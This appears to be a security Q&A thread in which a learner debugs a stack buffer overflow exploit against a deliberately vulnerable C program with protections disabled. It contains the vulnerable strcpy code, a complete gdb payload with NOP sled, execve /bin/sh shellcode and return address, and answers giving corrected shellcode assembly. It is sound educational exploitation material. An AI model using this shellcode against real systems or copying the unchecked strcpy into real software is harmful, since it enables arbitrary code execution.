3

I have a basic example of a program vulnerable to buffer overflow (extracted from this other question).

#include <string.h>

void vuln(char *arg) {
    char buffer[500];
    strcpy(buffer, arg);
}  

int main( int argc, char** argv ) {
    vuln(argv[1]);
    return 0; 
}

I will explain my "flow of thought":

My first approach, given that I know the buffer length, was to fill it entirely with "NOPs" (477 bytes) + shellcode (23 bytes) + NOPs + Return address, being the return address the beginning of my buffer.

gdb-peda$ r $(python -c "print '\x90'*477+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*12+'\xfc\xce\xff\xff'")

Here's the current memory:

0xffffcef8: 0x00    0x00    0x00    0x00    0x90    0x90    0x90    0x90
0xffffcf00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf10: 0x90    0x90    0x90    0x90    0x00    0x90    0x90    0x90
0xffffcf18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
...
0xffffd0d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0d8: 0x00    0x31    0xc0    0x50    0x68    0x2f    0x2f    0x73
0xffffd0e0: 0x68    0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3
0xffffd0e8: 0x50    0x53    0x89    0xe1    0xb0    0x0b    0xcd    0x80
0xffffd0f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0f8: 0x90    0x90    0x90    0x90    0xfc    0xce    0xff    0xff

1) Last 4 bytes are the address that will be written to EIP, no problem with this.

2) In order to make my shellcode works properly, it should start in the beginning of a WORD. In 0xffffd0d8 there's an unremovable 0x00 which does not get overwritten by the buffer overflow. It occurs several times in the buffer, and for what I've read is due to a loop behaviour in the strcpy.

3) In this situation, I guess I need to find another space to write my shellcode, with no "0x00" smashing it.

It seems that there's room for the shellcode just at the beggining of the buffer (0xffffcefc), so I change the buffer

gdb-peda$ r $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*477+'\x90'*12+'\xfc\xce\xff\xff'")

and I ensure that the shellcode is correctly written into memory:

gdb-peda$ x/10i 0xffffcefc
=> 0xffffcefc:  add    al,al
   0xffffcefe:  push   eax
   0xffffceff:  push   0x68732f2f
   0xffffcf04:  push   0x6e69622f
   0xffffcf09:  mov    ebx,esp
   0xffffcf0b:  push   eax
   0xffffcf0c:  push   ebx
   0xffffcf0d:  mov    ecx,esp
   0xffffcf0f:  mov    al,0xb
   0xffffcf11:  int    0x80
gdb-peda$ 

But when I run the code, even if the shellcode commands are executed, it crashes in the following "0x00" byte at 0xffffcf14, and no shell is spawned.

gdb-peda$ continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0xffffcf14 in ?? ()

gdb-peda$ x/10i 0xffffcf11
   0xffffcf11:  int    0x80
   0xffffcf13:  nop
=> 0xffffcf14:  add    BYTE PTR [eax-0x6f6f6f70],dl
   0xffffcf1a:  nop
   0xffffcf1b:  nop
   0xffffcf1c:  nop
   0xffffcf1d:  nop
   0xffffcf1e:  nop
   0xffffcf1f:  nop
   0xffffcf20:  nop

gdb-peda$ x/10xb 0xffffcf14
0xffffcf14: 0x00    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf1c: 0x90    0x90
gdb-peda$ 

The code has been compiled by using:

gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy

and, of course, ASLR is disabled.

Additional info:

# uname -a 
Linux kali 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux

I'm a newbie in exploitation, but I thought this to be a simple exercise and it's giving me some headaches... Can anyone help me to figure out the right way to exploit this buffer overflow?

Jausk
  • 209
  • 3
  • 9

2 Answers2

1

I see two problems, besides the null byte problem which I'm unable to reproduce (on an Ubuntu 18.04 virtual machine).

  1. The add al,al instruction at the start should be xor eax,eax. The weird thing is that the bytes \x31\xc0 which are at the start of your shellcode actually is the xor eax,eax instruction. If the \x31 is getting replaced with \x00 somehow, like you mentioned is happening elsewhere, that would turn it into an add instruction.

  2. You're not setting the third argument for the execve system call. This can be done by setting the edx register to esp right after pushing 0x00000000 onto the stack.

    xor    eax, eax
    push   eax
    push   0x68732f2f
    push   0x6e69622f
    mov    ebx,esp
    push   eax
    mov    edx,esp     ;set  the envp argument
    push   ebx
    mov    ecx,esp
    mov    al,0xb
    int    0x80
    

As for the null byte problem, that is very strange because it sounds like there are null bytes in the actual buffer after it is written to by strcpy, which should not be happening. I would set a breakpoint immediately after the call to strcpy in assembly and inspect the buffer memory. Maybe you've already done this but use the debugger and make sure that the null bytes aren't creeping in somehow after the copying takes place.

Spectre87
  • 121
  • 5
0

I have a problem with your shellcode:

  • EAX and ECX are registers that may contain cruft (volatile-registers) depending on adherence to calling convention (platform specific application binary interface), might as well get in the habit of XOR'ing them
  • what's in EBX when your shellcode runs? It may contain stuff as its a non-volatile register. XOR it too
  • You put 0xB into EAX but you never push it onto the stack before calling Int 0x80 to (execve()), so you never make a valid syscall as you lack all the arguments!

ONCE YOU FIX THE ABOVE

If you fix those issues and still experience this, then from your description it crashes on a null byte (which is what strcpy(3) is expecting), so it sounds like a case of a bad character!

I would try testing for bad characters. Peter Van Eeckhoutte has a great writeup that already covers this, but if you're like me and lazy, replace the null byte (0x00) with the break on debugger byte (0xCC).

Once it breaks, if all of the previous instructions were executed as expected for your shellcode, you could add another nop (0x90) or replace the null byte with a RETN

If that causes an issue, since the interrupt (Int 0x80) is a single byte, you can also replace it and the null byte at the end with 0xEBFE for a JMP -2 endless loop to break on.

grepNstepN
  • 610
  • 4
  • 15
  • XOR'ing ebx or ecx won't matter in this case, since they aren't used before being set with `mov`. – Spectre87 Jun 05 '18 at 04:50
  • The arguments for the system call to execve (`int 0x80` with eax set to 0x0b) aren't put on the stack, they are put in the registers eax-edx. So no need to push 0x0b onto the stack. But, eax should be zero'd out with xor first like you said. The data that is pushed onto the stack is just what the pointer arguments are pointing to. – Spectre87 Jun 05 '18 at 04:54